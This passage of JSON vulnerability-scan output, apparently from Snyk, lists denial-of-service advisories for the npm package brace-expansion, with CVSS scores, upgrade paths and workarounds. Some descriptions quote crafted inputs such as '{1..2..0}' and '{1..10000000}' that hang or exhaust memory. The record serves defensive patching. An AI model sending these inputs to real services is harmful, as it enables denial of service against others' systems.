"type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": 